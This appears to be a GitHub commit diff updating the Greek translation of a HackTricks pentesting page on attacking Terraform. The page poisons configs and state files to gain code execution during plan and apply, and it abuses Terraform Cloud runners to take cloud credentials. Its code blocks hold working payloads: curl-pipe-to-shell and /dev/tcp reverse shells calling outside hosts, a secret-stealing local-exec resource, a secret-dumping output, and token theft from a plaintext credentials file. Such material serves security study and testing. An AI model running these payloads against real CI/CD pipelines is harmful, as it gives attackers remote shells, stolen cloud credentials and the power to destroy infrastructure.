mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to el
This commit is contained in:
@@ -1,68 +1,68 @@
|
||||
# Terraform Security
|
||||
# Terraform Ασφάλεια
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
[Από τα έγγραφα:](https://developer.hashicorp.com/terraform/intro)
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform είναι ένα **εργαλείο υποδομής ως κώδικα** που σας επιτρέπει να ορίζετε τόσο **πόρους cloud όσο και on-prem** σε αρχεία διαμόρφωσης που είναι αναγνώσιμα από ανθρώπους και μπορείτε να εκδόσετε, να επαναχρησιμοποιήσετε και να μοιραστείτε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε μια συνεπή ροή εργασίας για να προμηθεύσετε και να διαχειριστείτε όλη την υποδομή σας καθ' όλη τη διάρκεια του κύκλου ζωής της. Το Terraform μπορεί να διαχειριστεί χαμηλού επιπέδου συστατικά όπως υπολογιστική ισχύ, αποθήκευση και πόρους δικτύωσης, καθώς και υψηλού επιπέδου συστατικά όπως καταχωρίσεις DNS και χαρακτηριστικά SaaS.
|
||||
HashiCorp Terraform είναι ένα εργαλείο υποδομής ως κώδικα που σας επιτρέπει να ορίζετε πόρους στο cloud και on-prem σε αρχεία διαμόρφωσης αναγνώσιμα από άνθρωπο τα οποία μπορείτε να ελέγχετε με έκδοση, να επαναχρησιμοποιείτε και να μοιράζεστε. Στη συνέχεια μπορείτε να χρησιμοποιήσετε μια συνεπή ροή εργασίας για να προμηθεύετε και να διαχειρίζεστε όλη την υποδομή σας καθ’ όλη τη διάρκεια ζωής της. Το Terraform μπορεί να διαχειριστεί χαμηλού επιπέδου στοιχεία όπως compute, storage και networking resources, καθώς και υψηλού επιπέδου στοιχεία όπως DNS entries και SaaS features.
|
||||
|
||||
#### Πώς λειτουργεί το Terraform;
|
||||
|
||||
Το Terraform δημιουργεί και διαχειρίζεται πόρους σε πλατφόρμες cloud και άλλες υπηρεσίες μέσω των διεπαφών προγραμματισμού εφαρμογών τους (APIs). Οι πάροχοι επιτρέπουν στο Terraform να λειτουργεί με σχεδόν οποιαδήποτε πλατφόρμα ή υπηρεσία με προσβάσιμη API.
|
||||
Το Terraform δημιουργεί και διαχειρίζεται πόρους σε cloud πλατφόρμες και άλλες υπηρεσίες μέσω των APIs τους. Οι providers επιτρέπουν στο Terraform να δουλεύει με σχεδόν οποιαδήποτε πλατφόρμα ή υπηρεσία με προσβάσιμο API.
|
||||
|
||||
.png>)
|
||||
|
||||
Η HashiCorp και η κοινότητα του Terraform έχουν ήδη γράψει **πάνω από 1700 παρόχους** για να διαχειρίζονται χιλιάδες διαφορετικούς τύπους πόρων και υπηρεσιών, και αυτός ο αριθμός συνεχίζει να αυξάνεται. Μπορείτε να βρείτε όλους τους δημόσια διαθέσιμους παρόχους στο [Terraform Registry](https://registry.terraform.io/), συμπεριλαμβανομένων των Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog και πολλών άλλων.
|
||||
Η HashiCorp και η κοινότητα του Terraform έχουν ήδη γράψει περισσότερους από 1700 providers για να διαχειριστούν χιλιάδες διαφορετικούς τύπους πόρων και υπηρεσιών, και αυτός ο αριθμός συνεχίζει να αυξάνεται. Μπορείτε να βρείτε όλους τους δημόσια διαθέσιμους providers στο [Terraform Registry](https://registry.terraform.io/), συμπεριλαμβανομένων των Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, και πολλών άλλων.
|
||||
|
||||
Η βασική ροή εργασίας του Terraform αποτελείται από τρία στάδια:
|
||||
Ο βασικός κύκλος εργασιών του Terraform αποτελείται από τρία στάδια:
|
||||
|
||||
- **Γράψτε:** Ορίζετε πόρους, οι οποίοι μπορεί να είναι σε πολλούς παρόχους cloud και υπηρεσίες. Για παράδειγμα, μπορεί να δημιουργήσετε μια διαμόρφωση για να αναπτύξετε μια εφαρμογή σε εικονικές μηχανές σε ένα δίκτυο Virtual Private Cloud (VPC) με ομάδες ασφαλείας και έναν ελεγκτή φορτίου.
|
||||
- **Σχέδιο:** Το Terraform δημιουργεί ένα σχέδιο εκτέλεσης που περιγράφει την υποδομή που θα δημιουργήσει, θα ενημερώσει ή θα καταστρέψει με βάση την υπάρχουσα υποδομή και τη διαμόρφωσή σας.
|
||||
- **Εφαρμογή:** Με την έγκριση, το Terraform εκτελεί τις προτεινόμενες ενέργειες με τη σωστή σειρά, σεβόμενο οποιεσδήποτε εξαρτήσεις πόρων. Για παράδειγμα, αν ενημερώσετε τις ιδιότητες ενός VPC και αλλάξετε τον αριθμό των εικονικών μηχανών σε αυτό το VPC, το Terraform θα αναδημιουργήσει το VPC πριν κλιμακώσει τις εικονικές μηχανές.
|
||||
- **Write:** Ορίζετε πόρους, οι οποίοι μπορεί να βρίσκονται σε πολλαπλούς cloud providers και υπηρεσίες. Για παράδειγμα, μπορεί να δημιουργήσετε μια διαμόρφωση για την ανάπτυξη μιας εφαρμογής σε virtual machines μέσα σε ένα Virtual Private Cloud (VPC) με security groups και load balancer.
|
||||
- **Plan:** Το Terraform δημιουργεί ένα execution plan που περιγράφει την υποδομή που θα δημιουργήσει, θα ενημερώσει ή θα καταστρέψει με βάση την υπάρχουσα υποδομή και τη διαμόρφωσή σας.
|
||||
- **Apply:** Με έγκριση, το Terraform εκτελεί τις προτεινόμενες ενέργειες με τη σωστή σειρά, σεβόμενο τυχόν εξαρτήσεις πόρων. Για παράδειγμα, αν ενημερώσετε τις ιδιότητες ενός VPC και αλλάξετε τον αριθμό των virtual machines σε αυτό το VPC, το Terraform θα αναδημιουργήσει το VPC πριν κλιμακώσει τα virtual machines.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
|
||||
Απλά εγκαταστήστε το terraform στον υπολογιστή σας.
|
||||
Απλώς εγκαταστήστε το terraform στον υπολογιστή σας.
|
||||
|
||||
Εδώ έχετε έναν [οδηγό](https://learn.hashicorp.com/tutorials/terraform/install-cli) και εδώ έχετε τον [καλύτερο τρόπο για να κατεβάσετε το terraform](https://www.terraform.io/downloads).
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE στο Terraform: δηλητηρίαση αρχείου διαμόρφωσης
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Το Terraform **δεν έχει μια πλατφόρμα που να εκθέτει μια ιστοσελίδα ή μια υπηρεσία δικτύου** που μπορούμε να καταγράψουμε, επομένως, ο μόνος τρόπος για να συμβιβαστεί το terraform είναι να **μπορείτε να προσθέσετε/τροποποιήσετε αρχεία διαμόρφωσης του terraform** ή να **μπορείτε να τροποποιήσετε το αρχείο κατάστασης του terraform** (βλ. κεφάλαιο παρακάτω).
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
Ωστόσο, το terraform είναι ένα **πολύ ευαίσθητο συστατικό** για να συμβιβαστεί, διότι θα έχει **προνομιακή πρόσβαση** σε διάφορες τοποθεσίες ώστε να μπορεί να λειτουργεί σωστά.
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
Ο κύριος τρόπος για έναν επιτιθέμενο να μπορέσει να συμβιβάσει το σύστημα όπου εκτελείται το terraform είναι να **συμβιβάσει το αποθετήριο που αποθηκεύει τις διαμορφώσεις του terraform**, διότι σε κάποιο σημείο θα **ερμηνευτούν**.
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
Στην πραγματικότητα, υπάρχουν λύσεις εκεί έξω που **εκτελούν το terraform plan/apply αυτόματα μετά τη δημιουργία ενός PR**, όπως το **Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Εάν μπορείτε να συμβιβάσετε ένα αρχείο terraform, υπάρχουν διάφοροι τρόποι που μπορείτε να εκτελέσετε RCE όταν κάποιος εκτελεί `terraform plan` ή `terraform apply`.
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Το Terraform plan είναι η **πιο χρησιμοποιούμενη εντολή** στο terraform και οι προγραμματιστές/λύσεις που χρησιμοποιούν το terraform την καλούν συνεχώς, οπότε ο **ευκολότερος τρόπος για να αποκτήσετε RCE** είναι να βεβαιωθείτε ότι δηλητηριάζετε ένα αρχείο διαμόρφωσης του terraform που θα εκτελεί αυθαίρετες εντολές σε ένα `terraform plan`.
|
||||
Terraform plan είναι η **πιο χρησιμοποιούμενη εντολή** στο terraform και developers/solutions που χρησιμοποιούν terraform την καλούν συνεχώς, οπότε ο **πιο εύκολος τρόπος να πετύχετε RCE** είναι να διασφαλίσετε ότι θα μολύνετε (poison) ένα terraform config file που θα εκτελέσει arbitrary εντολές σε ένα `terraform plan`.
|
||||
|
||||
**Χρησιμοποιώντας έναν εξωτερικό πάροχο**
|
||||
**Using an external provider**
|
||||
|
||||
Το Terraform προσφέρει τον [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) που παρέχει έναν τρόπο διεπαφής μεταξύ του Terraform και εξωτερικών προγραμμάτων. Μπορείτε να χρησιμοποιήσετε την πηγή δεδομένων `external` για να εκτελέσετε αυθαίρετο κώδικα κατά τη διάρκεια ενός `plan`.
|
||||
Το Terraform προσφέρει τον [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ο οποίος παρέχει έναν τρόπο διεπαφής μεταξύ του Terraform και εξωτερικών προγραμμάτων. Μπορείτε να χρησιμοποιήσετε το `external` data source για να εκτελέσετε arbitrary code κατά τη διάρκεια ενός `plan`.
|
||||
|
||||
Η εισαγωγή σε ένα αρχείο διαμόρφωσης του terraform κάτι σαν το παρακάτω θα εκτελέσει ένα rev shell κατά την εκτέλεση του `terraform plan`:
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Χρησιμοποιώντας έναν προσαρμοσμένο πάροχο**
|
||||
**Χρήση ενός custom provider**
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να στείλει έναν [προσαρμοσμένο πάροχο](https://learn.hashicorp.com/tutorials/terraform/provider-setup) στο [Terraform Registry](https://registry.terraform.io/) και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα feature branch ([παράδειγμα από εδώ](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Ένας επιτιθέμενος θα μπορούσε να ανεβάσει έναν [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) στο [Terraform Registry](https://registry.terraform.io/) και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,13 +75,13 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Ο πάροχος κατεβαίνει στο `init` και θα εκτελέσει τον κακόβουλο κώδικα όταν εκτελείται το `plan`.
|
||||
Ο provider κατεβαίνει στο `init` και θα τρέξει τον κακόβουλο κώδικα όταν εκτελεστεί το `plan`
|
||||
|
||||
Μπορείτε να βρείτε ένα παράδειγμα στο [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Χρησιμοποιώντας μια εξωτερική αναφορά**
|
||||
**Χρήση εξωτερικής αναφοράς**
|
||||
|
||||
Και οι δύο αναφερόμενες επιλογές είναι χρήσιμες αλλά όχι πολύ διακριτικές (η δεύτερη είναι πιο διακριτική αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με **πιο διακριτικό τρόπο**, ακολουθώντας αυτές τις προτάσεις:
|
||||
Και οι δύο αναφερθείσες επιλογές είναι χρήσιμες αλλά όχι πολύ διακριτικές (η δεύτερη είναι πιο διακριτική αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να πραγματοποιήσετε αυτή την επίθεση με ακόμα πιο **διακριτικό** τρόπο, ακολουθώντας τις παρακάτω προτάσεις:
|
||||
|
||||
- Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να **φορτώσετε έναν εξωτερικό πόρο** που περιέχει το rev shell:
|
||||
```javascript
|
||||
@@ -89,14 +89,14 @@ module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Μπορείτε να βρείτε τον κώδικα rev shell στο [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- Στην εξωτερική πηγή, χρησιμοποιήστε τη δυνατότητα **ref** για να κρύψετε τον **κώδικα terraform rev shell σε ένα branch** μέσα στο repo, κάτι σαν: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Στο εξωτερικό resource, χρησιμοποιήστε τη δυνατότητα **ref** για να κρύψετε το **terraform rev shell code in a branch** μέσα στο repo, κάτι σαν: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Το Terraform apply θα εκτελεστεί για να εφαρμόσει όλες τις αλλαγές, μπορείτε επίσης να το εκμεταλλευτείτε για να αποκτήσετε RCE εισάγοντας **ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Απλά πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο `main.tf`:
|
||||
Terraform apply θα εκτελεστεί για να εφαρμόσει όλες τις αλλαγές — μπορείτε επίσης να το καταχραστείτε για να αποκτήσετε RCE εισάγοντας **ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Απλώς πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Ακολουθήστε τις **προτάσεις από την προηγούμενη τεχνική** για να εκτελέσετε αυτήν την επίθεση με **πιο διακριτικό τρόπο χρησιμοποιώντας εξωτερικές αναφορές**.
|
||||
Ακολούθησε τις **προτάσεις από την προηγούμενη τεχνική** για να πραγματοποιήσεις αυτή την επίθεση με πιο **διακριτικό τρόπο χρησιμοποιώντας εξωτερικές αναφορές**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
Μπορείτε να έχετε **τιμές μυστικών που χρησιμοποιούνται από το terraform να εκτυπώνονται** εκτελώντας `terraform apply` προσθέτοντας στο αρχείο terraform κάτι σαν:
|
||||
Μπορείς να κάνεις τις **τιμές μυστικών που χρησιμοποιεί το terraform να εξαχθούν** εκτελώντας `terraform apply` προσθέτοντας στο terraform αρχείο κάτι σαν:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Κατάχρηση Αρχείων Κατάστασης Terraform
|
||||
## Κατάχρηση αρχείων state του Terraform
|
||||
|
||||
Σε περίπτωση που έχετε δικαιώματα εγγραφής στα αρχεία κατάστασης terraform αλλά δεν μπορείτε να αλλάξετε τον κώδικα terraform, [**αυτή η έρευνα**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) προσφέρει μερικές ενδιαφέρουσες επιλογές για να εκμεταλλευτείτε το αρχείο. Ακόμα και αν έχετε δικαιώματα εγγραφής στα αρχεία ρυθμίσεων, η χρήση του διαύλου των αρχείων κατάστασης είναι συχνά πολύ πιο ύπουλη, καθώς δεν αφήνετε ίχνη στην ιστορία του `git`.
|
||||
Σε περίπτωση που έχετε δικαίωμα εγγραφής πάνω σε αρχεία state του Terraform αλλά δεν μπορείτε να αλλάξετε τον κώδικα του Terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) δίνει μερικές ενδιαφέρουσες επιλογές για να αξιοποιήσετε το αρχείο. Ακόμη κι αν έχετε δικαίωμα εγγραφής στα config αρχεία, η χρήση του vector των state αρχείων είναι συχνά πολύ πιο ύπουλη, επειδή δεν αφήνετε ίχνη στο ιστορικό του `git`.
|
||||
|
||||
### RCE στο Terraform: δηλητηρίαση αρχείου ρυθμίσεων
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
Είναι δυνατόν να [δημιουργήσετε έναν προσαρμοσμένο πάροχο](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) και απλώς να αντικαταστήσετε έναν από τους παρόχους στο αρχείο κατάστασης terraform με τον κακόβουλο ή να προσθέσετε μια ψεύτικη πόρο που αναφέρεται στον κακόβουλο πάροχο.
|
||||
Είναι δυνατό να [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) και απλά να αντικαταστήσετε έναν από τους providers στο terraform state file με τον κακόβουλο ή να προσθέσετε ένα ψεύτικο resource που αναφέρεται στον κακόβουλο provider.
|
||||
|
||||
Ο πάροχος [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) βασίζεται στην έρευνα και οπλίζει αυτή την αρχή. Μπορείτε να προσθέσετε μια ψεύτικη πόρο και να δηλώσετε την αυθαίρετη εντολή bash που θέλετε να εκτελέσετε στην ιδιότητα `command`. Όταν ενεργοποιηθεί η εκτέλεση του `terraform`, αυτό θα διαβαστεί και θα εκτελεστεί τόσο στα βήματα `terraform plan` όσο και `terraform apply`. Σε περίπτωση του βήματος `terraform apply`, το `terraform` θα διαγράψει την ψεύτικη πόρο από το αρχείο κατάστασης μετά την εκτέλεση της εντολής σας, καθαρίζοντας μετά από τον εαυτό του. Περισσότερες πληροφορίες και μια πλήρη επίδειξη μπορείτε να βρείτε στο [GitHub repository που φιλοξενεί τον πηγαίο κώδικα για αυτόν τον πάροχο](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
Ο provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) βασίζεται στην έρευνα και εξοπλίζει αυτήν την αρχή. Μπορείτε να προσθέσετε ένα ψεύτικο resource και να δηλώσετε την αυθαίρετη bash εντολή που θέλετε να εκτελεστεί στο attribute `command`. Όταν εκτελείται το `terraform` run, αυτό θα διαβαστεί και θα εκτελεστεί τόσο στο `terraform plan` όσο και στο `terraform apply`. Στην περίπτωση του `terraform apply`, το `terraform` θα διαγράψει το ψεύτικο resource από το state file μετά την εκτέλεση της εντολής σας, καθαρίζοντας πίσω τα ίχνη. Περισσότερες πληροφορίες και μια πλήρη demo υπάρχουν στο [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Για να το χρησιμοποιήσετε άμεσα, απλώς συμπεριλάβετε τα παρακάτω σε οποιαδήποτε θέση του πίνακα `resources` και προσαρμόστε τις ιδιότητες `name` και `command`:
|
||||
Για να το χρησιμοποιήσετε απευθείας, απλώς συμπεριλάβετε το ακόλουθο σε οποιαδήποτε θέση του `resources` array και προσαρμόστε τα attributes `name` και `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -154,13 +154,13 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
Τότε, μόλις εκτελεστεί το `terraform`, ο κώδικάς σας θα εκτελεστεί.
|
||||
|
||||
### Διαγραφή πόρων <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
### Διαγραφή resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Υπάρχουν 2 τρόποι για να καταστραφούν οι πόροι:
|
||||
Υπάρχουν 2 τρόποι για να καταστρέψετε resources:
|
||||
|
||||
1. **Εισάγετε έναν πόρο με τυχαίο όνομα στο αρχείο κατάστασης που δείχνει στον πραγματικό πόρο προς καταστροφή**
|
||||
1. **Εισάγετε ένα resource με τυχαίο όνομα στο state file που δείχνει στο πραγματικό resource προς καταστροφή**
|
||||
|
||||
Επειδή το terraform θα δει ότι ο πόρος δεν θα έπρεπε να υπάρχει, θα τον καταστρέψει (ακολουθώντας το πραγματικό ID του πόρου που υποδεικνύεται). Παράδειγμα από την προηγούμενη σελίδα:
|
||||
Επειδή το `terraform` θα δει ότι το resource δεν θα έπρεπε να υπάρχει, θα το καταστρέψει (ακολουθώντας το πραγματικό resource ID που έχει υποδειχθεί). Παράδειγμα από την προηγούμενη σελίδα:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ value = nonsensitive(var.do_token)
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Τροποποιήστε τον πόρο για να διαγραφεί με τρόπο που να μην είναι δυνατή η ενημέρωση (έτσι θα διαγραφεί και θα αναδημιουργηθεί)**
|
||||
2. **Τροποποιήστε τον πόρο ώστε να διαγραφεί με τρόπο που δεν είναι δυνατή η ενημέρωσή του (οπότε θα διαγραφεί και θα δημιουργηθεί ξανά)**
|
||||
|
||||
Για μια EC2 instance, η τροποποίηση του τύπου της instance είναι αρκετή για να κάνει το terraform να διαγράψει και να την αναδημιουργήσει.
|
||||
Για ένα EC2 instance, η αλλαγή του τύπου του instance είναι αρκετή για να κάνει το terraform να το διαγράψει και να το δημιουργήσει ξανά.
|
||||
|
||||
### Αντικαταστήστε τον μαυρισμένο πάροχο
|
||||
### Αντικατάσταση του blacklisted provider
|
||||
|
||||
Σε περίπτωση που συναντήσετε μια κατάσταση όπου το `hashicorp/external` έχει μαυριστεί, μπορείτε να επαναφέρετε τον πάροχο `external` κάνοντας τα εξής. Σημείωση: Χρησιμοποιούμε ένα fork του πάροχου external που δημοσιεύθηκε από https://registry.terraform.io/providers/nazarewk/external/latest. Μπορείτε επίσης να δημοσιεύσετε το δικό σας fork ή επαναφορά.
|
||||
Σε περίπτωση που συναντήσετε κατάσταση όπου `hashicorp/external` έχει βρεθεί σε blacklisted, μπορείτε να επανα-υλοποιήσετε τον `external` provider κάνοντας τα εξής. Σημείωση: Χρησιμοποιούμε ένα fork του external provider που έχει δημοσιευτεί στο https://registry.terraform.io/providers/nazarewk/external/latest. Μπορείτε επίσης να δημοσιεύσετε το δικό σας fork ή επαν-υλοποίηση.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"]
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Αυτό το σενάριο εκμεταλλεύεται τους εκτελεστές του Terraform Cloud (TFC) κατά τη διάρκεια των υποθετικών σχεδίων για να μεταβεί στον στοχοθετημένο λογαριασμό cloud.
|
||||
Αυτό το σενάριο εκμεταλλεύεται τους Terraform Cloud (TFC) runners κατά τη διάρκεια των speculative plans για να pivot στο target cloud account.
|
||||
|
||||
- Προϋποθέσεις:
|
||||
- Κλέψτε ένα token του Terraform Cloud από μια μηχανή προγραμματιστή. Το CLI αποθηκεύει τα tokens σε απλό κείμενο στο `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Το token πρέπει να έχει πρόσβαση στην στοχοθετημένη οργάνωση/εργαστήριο και τουλάχιστον την άδεια `plan`. Οι εργασίες που υποστηρίζονται από VCS αποκλείουν το `apply` από το CLI, αλλά επιτρέπουν ακόμα τα υποθετικά σχέδια.
|
||||
- Κλέψτε ένα Terraform Cloud token από μια μηχανή προγραμματιστή. Το CLI αποθηκεύει tokens σε απλό κείμενο στο `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Το token πρέπει να έχει πρόσβαση στην target organization/workspace και τουλάχιστον την άδεια `plan`. Τα VCS-backed workspaces μπλοκάρουν το `apply` από το CLI, αλλά εξακολουθούν να επιτρέπουν speculative plans.
|
||||
|
||||
- Ανακαλύψτε τις ρυθμίσεις εργαστηρίου και VCS μέσω του API του TFC:
|
||||
- Εντοπίστε ρυθμίσεις workspace και VCS μέσω του TFC API:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Ενεργοποιήστε την εκτέλεση κώδικα κατά τη διάρκεια ενός υποθετικού σχεδίου χρησιμοποιώντας την εξωτερική πηγή δεδομένων και το "cloud" block του Terraform Cloud για να στοχεύσετε τον χώρο εργασίας που υποστηρίζεται από VCS:
|
||||
- Προκαλέστε εκτέλεση κώδικα κατά τη διάρκεια ενός speculative plan χρησιμοποιώντας το external data source και το Terraform Cloud "cloud" block για να στοχεύσετε το VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +226,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Παράδειγμα rsync.sh για να αποκτήσετε ένα αντίστροφο shell στον TFC runner:
|
||||
Παράδειγμα rsync.sh για να αποκτήσετε ένα reverse shell στον TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Εκτελέστε ένα υποθετικό σχέδιο για να εκτελέσετε το πρόγραμμα στον προσωρινό εκτελεστή:
|
||||
Εκτέλεσε ένα δοκιμαστικό σχέδιο για να εκτελέσεις το πρόγραμμα στον εφήμερο runner:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Καταγράψτε και εξάγετε τα εισαγόμενα διαπιστευτήρια cloud από τον runner. Κατά τη διάρκεια των εκτελέσεων, το TFC εισάγει διαπιστευτήρια παρόχου μέσω αρχείων και μεταβλητών περιβάλλοντος:
|
||||
- Καταγράψτε και εξάγετε τα εγχυμένα cloud credentials από τον runner. Κατά τη διάρκεια των runs, το TFC εγχέει provider credentials μέσω αρχείων και environment variables:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Αναμενόμενα αρχεία στον κατάλογο εργασίας του runner:
|
||||
Αναμενόμενα αρχεία στον working directory του runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (JSON ρύθμιση παραμέτρων Ομοσπονδίας Ταυτότητας Φορτίου)
|
||||
- `tfc-gcp-token` (βραχυχρόνιο διακριτικό πρόσβασης GCP)
|
||||
- `tfc-google-application-credentials` (Διαμόρφωση JSON για Workload Identity Federation)
|
||||
- `tfc-gcp-token` (βραχύβιο token πρόσβασης GCP)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (ρύθμιση παραμέτρων υποθέσεων ρόλου διαδικτυακής ταυτότητας/OIDC)
|
||||
- `tfc-aws-token` (βραχυχρόνιο διακριτικό; ορισμένοι οργανισμοί μπορεί να χρησιμοποιούν στατικά κλειδιά)
|
||||
- `tfc-aws-shared-config` (διαμόρφωση web identity/OIDC για ανάληψη ρόλου)
|
||||
- `tfc-aws-token` (βραχύβιο token · κάποιοι οργανισμοί μπορεί να χρησιμοποιούν στατικά κλειδιά)
|
||||
|
||||
- Χρησιμοποιήστε τα βραχυχρόνια διαπιστευτήρια εκτός ζώνης για να παρακάμψετε τις πύλες VCS:
|
||||
- Χρησιμοποίησε τα βραχύβια διαπιστευτήρια εκτός-καναλιού για να παρακάμψεις τα VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,25 +263,52 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Με αυτά τα διαπιστευτήρια, οι επιτιθέμενοι μπορούν να δημιουργήσουν/τροποποιήσουν/καταστρέψουν πόρους απευθείας χρησιμοποιώντας εγγενή CLIs, παρακάμπτοντας τις ροές εργασίας που βασίζονται σε PR που μπλοκάρουν το `apply` μέσω VCS.
|
||||
Με αυτά τα creds, οι επιτιθέμενοι μπορούν να δημιουργήσουν/τροποποιήσουν/καταστρέψουν πόρους απευθείας χρησιμοποιώντας native CLIs, παρακάμπτοντας PR-based workflows που μπλοκάρουν το `apply` μέσω VCS.
|
||||
|
||||
- Καθοδήγηση άμυνας:
|
||||
- Εφαρμόστε την ελάχιστη εξουσία στους χρήστες/ομάδες TFC και τα tokens. Ελέγξτε τα μέλη και αποφύγετε τους υπερβολικά μεγάλους ιδιοκτήτες.
|
||||
